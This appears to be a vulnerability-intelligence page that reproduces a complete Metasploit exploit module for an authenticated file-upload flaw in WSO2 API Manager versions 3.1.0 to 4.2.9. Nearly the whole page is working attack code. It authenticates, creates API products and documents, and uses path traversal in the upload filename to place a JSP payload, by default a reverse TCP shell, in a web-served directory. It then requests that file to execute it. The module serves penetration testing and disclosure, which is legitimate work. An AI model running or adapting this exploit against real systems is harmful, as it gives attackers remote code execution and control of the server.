Lucene search

K

WSO2 API Manager Documentation File Upload Remote Code Execution

Vulnerability in WSO2 API Manager allows file upload leading to remote code execution.

Show more
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  attr_accessor :bearer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WSO2 API Manager Documentation File Upload Remote Code Execution',
        'Description' => %q{
          A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
          (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled
          server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.
        },
        'Author' => [
          'Siebene@ <@Siebene7>', # Discovery
          'Heyder Andrade <@HeyderAndrade>', # metasploit module
          'Redway Security <redwaysecurity.com>' # Writeup and PoC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988' ], # PoC
          [ 'URL', 'https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html' ], # Writeup
          [ 'URL', 'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/' ]
        ],
        'DefaultOptions' => {
          'Payload' => 'java/jsp_shell_reverse_tcp',
          'SSL' => true,
          'RPORT' => 9443
        },
        'Platform' => %w[linux win],
        'Arch' => ARCH_JAVA,
        'Privileged' => false,
        'Targets' => [
          [
            'Automatic', {}
          ],
          [
            'WSO2 API Manager (3.1.0 - 4.0.0)', {
              'min_version' => '3.1.0',
              'max_version' => '4.0.9',
              'api_version' => 'v2'
            },
          ],
          [
            'WSO2 API Manager (4.1.0)', {
              'min_version' => '4.1.0',
              'max_version' => '4.1.9',
              'api_version' => 'v3'
            }
          ],
          [
            'WSO2 API Manager (4.2.0)', {
              'min_version' => '4.2.0',
              'max_version' => '4.2.9',
              'api_version' => 'v4'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-05-31',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 API manager', '/']),
        OptString.new('HttpUsername', [true, 'WSO2 API manager username', 'admin']),
        OptString.new('HttpPassword', [true, 'WSO2 API manager password', ''])
      ]
    )
  end

  def check
    vprint_status('Checking target...')

    begin
      authenticate
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    end
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'services', 'Version'),
      'method' => 'GET',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )

    return CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/

    xml = res.get_xml_document
    xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/)
    version = Rex::Version.new ::Regexp.last_match(1)

    return CheckCode::Unknown('Unable to determine version') unless version

    return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?(
      Rex::Version.new('3.1.0'), Rex::Version.new('4.2.9')
    )

    if target.name == 'Automatic'
      # Find the target based on the detected version
      selected_target_index = nil
      targets.each_with_index do |t, idx|
        if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version']))
          selected_target_index = idx
          break
        end
      end

      return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unless selected_target_index

      # Set the target
      datastore['TARGET'] = selected_target_index
      vprint_status("Automatically selected target: #{target.name} for version #{version}")
    else
      vprint_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?(
        Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version'])
      )
    end

    report_vuln(
      host: rhost,
      name: name,
      refs: references,
      info: [version]
    )

    return CheckCode::Appears("Detected WSO2 API Manager #{version} which is vulnerable.")
  end

  def authenticate
    nounce = nil

    opts = {
      'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'),
      'method' => 'GET',
      'headers' => {
        'Connection' => 'keep-alive'
      },
      'keep_cookies' => true
    }
    res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth

    if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/)
      vprint_status('Got session nonce')
      nounce = ::Regexp.last_match(1)
    end

    fail_with(Failure::UnexpectedReply, 'Failed to authenticate. Could not get session nonce') unless nounce

    auth_data = {
      'usernameUserInput' => datastore['HttpUsername'],
      'username' => datastore['HttpUsername'],
      'password' => datastore['HttpPassword'],
      'sessionDataKey' => nounce
    }

    opts = {
      'uri' => normalize_uri(target_uri.path, '/commonauth'),
      'method' => 'POST',
      'headers' => {
        'Connection' => 'keep-alive'
      },
      'keep_cookies' => true,
      'vars_post' => auth_data
    }

    res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth

    if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/)
      vprint_status('Got bearer token')
      self.bearer = ::Regexp.last_match(1)
    end

    fail_with(Failure::UnexpectedReply, 'Authentication attempt failed. Could not get bearer token') unless bearer

    print_good('Authentication successful')
  end

  def list_product_api
    vprint_status('Listing products APIs...')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'),
      'vars_get' => {
        'limit' => 10,
        'offset' => 0
      },
      'method' => 'GET',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to list APIs') unless res&.code == 200

    api_list = res.get_json_document['list']

    if api_list.empty?
      print_error('No Products API available')
      print_status('Trying to create an API...')
      api_list = [create_product_api]
    end

    return api_list
  end

  def create_api
    api_data = {
      'name' => Faker::App.name,
      'description' => Faker::Lorem.sentence,
      'context' => "/#{Faker::Internet.slug}",
      'version' => Faker::App.version,
      'transport' => ['http', 'https'],
      'tags' => [Faker::ProgrammingLanguage.name],
      'policies' => ['Unlimited'],
      'securityScheme' => ['oauth2'],
      'visibility' => 'PUBLIC',
      'businessInformation' => {
        'businessOwner' => Faker::Name.name,
        'businessOwnerEmail' => Faker::Internet.email,
        'technicalOwner' => Faker::Name.name,
        'technicalOwnerEmail' => Faker::Internet.email
      },
      'endpointConfig' => {
        'endpoint_type' => 'http',
        'sandbox_endpoints' => {
          'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
        },
        'production_endpoints' => {
          'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
        }
      },
      'operations' => [
        {
          'target' => "/#{Faker::Internet.slug}",
          'verb' => 'GET',
          'throttlingPolicy' => 'Unlimited',
          'authType' => 'Application & Application User'
        }
      ]
    }

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      },
      'ctype' => 'application/json',
      'data' => api_data.to_json
    )

    fail_with(Failure::UnexpectedReply, 'Failed to create API') unless res&.code == 201

    print_good('API created successfully')
    return res.get_json_document
  end

  def create_product_api
    @api_id = create_api['id']

    product_api_data = {
      'name' => Faker::App.name,
      'context' => Faker::Internet.slug,
      'policies' => ['Unlimited'],
      'apis' => [
        {
          'name' => '',
          'apiId' => @api_id,
          'operations' => [],
          'version' => '1.0.0'
        }
      ],
      'transport' => ['http', 'https']
    }

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      },
      'ctype' => 'application/json',
      'data' => product_api_data.to_json
    )

    fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201

    @api_created = true

    print_good('API Product created successfully')

    return res.get_json_document
  end

  def create_document(api_id)
    doc_data = {
      'name' => Rex::Text.rand_text_alpha(4..7),
      'type' => 'HOWTO',
      'summary' => Faker::Lorem.sentence,
      'sourceType' => 'FILE',
      'visibility' => 'API_LEVEL'
    }

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      },
      'ctype' => 'application/json',
      'data' => doc_data.to_json
    )

    unless res&.code == 201
      vprint_error("Failed to create document for API #{api_id}")
      return
    end

    print_good('Document created successfully')

    return res.get_json_document['documentId']
  end

  def upload_payload(api_id, doc_id)
    print_status('Uploading payload...')

    post_data = Rex::MIME::Message.new
    post_data.bound = rand_text_numeric(32)
    post_data.add_part(payload.encoded.to_s, 'text/plain', nil, "form-data; name=\"file\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}\"")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents/', doc_id, '/content'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      },
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )
    fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201

    register_file_for_cleanup("repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}")

    print_good("Payload uploaded successfully. File: #{jsp_filename}")

    return res
  end

  def execute_payload
    print_status('Executing payload... ')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/authenticationendpoint/', jsp_filename),
      'method' => 'GET'
    )

    fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') unless res&.code == 200

    print_good('Payload executed successfully')

    handler
  end

  def exploit
    authenticate unless bearer
    api_avaliable = list_product_api
    api_avaliable.each do |product_api|
      @product_api_id = product_api['id']
      @doc_id = create_document(@product_api_id)
      next unless @doc_id

      res = upload_payload(@product_api_id, @doc_id)
      if res&.code == 201
        execute_payload
        break
      end
    end
  end

  def cleanup
    return unless session_created?

    super

    # If we have created the API, we need to delete it; thus the documentation
    return delele_product_api && delele_api if @api_created

    # If the API was already there, we deleted only the documentation.
    delete_document
  end

  def jsp_filename
    @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
  end

  def delete_document
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @api_id, '/documents/', @doc_id),
      'method' => 'DELETE',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )

    return res&.code == 200
  end

  def delele_api
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis/', @api_id),
      'method' => 'DELETE',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )
    return res&.code == 200
  end

  def delele_product_api
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @product_api_id),
      'method' => 'DELETE',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )
    return res&.code == 200
  end

end

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo